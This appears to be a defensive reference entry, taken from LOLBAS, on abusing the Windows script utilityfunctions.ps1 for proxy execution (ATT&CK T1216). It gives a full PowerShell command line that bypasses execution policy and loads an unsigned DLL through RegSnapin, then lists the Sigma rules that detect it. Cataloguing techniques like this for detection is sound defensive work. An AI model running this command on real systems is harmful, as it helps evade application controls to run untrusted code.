Identifier / Programs / Windows
utilityfunctions.ps1
LOLBAS Execute 1 ATT&CK technique 1 documented command
How utilityfunctions.ps1 is abused
Each abuse is LOLBAS's category and the options and words it uses; the full write-up is on LOLBAS's page for utilityfunctions.ps1.
1 documented command
Execute T1216 System Script Proxy Execution User privileges
Proxy execute Managed DLL with PowerShell
powershell.exe -ep bypass -command "set-location -path c:\windows\diagnostics\system\networking; import-module .\UtilityFunctions.ps1; RegSnapin ..\..\..\..\temp\unsigned.dll;[Program.Class]::Main()"IdentifyTrips 4 Sigma rules: highSuspicious PowerShell Parameter Substring by Florian Roth (Nextron Systems), Daniel Bohannon (idea), Roberto Rodriguez (Fix); mediumChange PowerShell Policies to an Insecure Level by frack113; mediumUtilityFunctions.ps1 Proxy Dll by frack113; lowImport New Module Via PowerShell CommandLine by Nasreddine Bencherchali (Nextron Systems)
The command the identifier reads trips a Sigma process-creation rule. These commands and their descriptions are from LOLBAS’s entry for utilityfunctions.ps1, by Jimmy (@bohops), at commit 2056cb766250 of 2026-09-26, under the GPL-3.0 and LOLBAS’s notice, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on LOLBAS’s page for utilityfunctions.ps1. The identifier reads it with LOLBAS’s placeholders filled in: a URL as https://example.com/file, a share as \\192.0.2.10\share\file, a path as C:\Data\file and a command as calc.exe.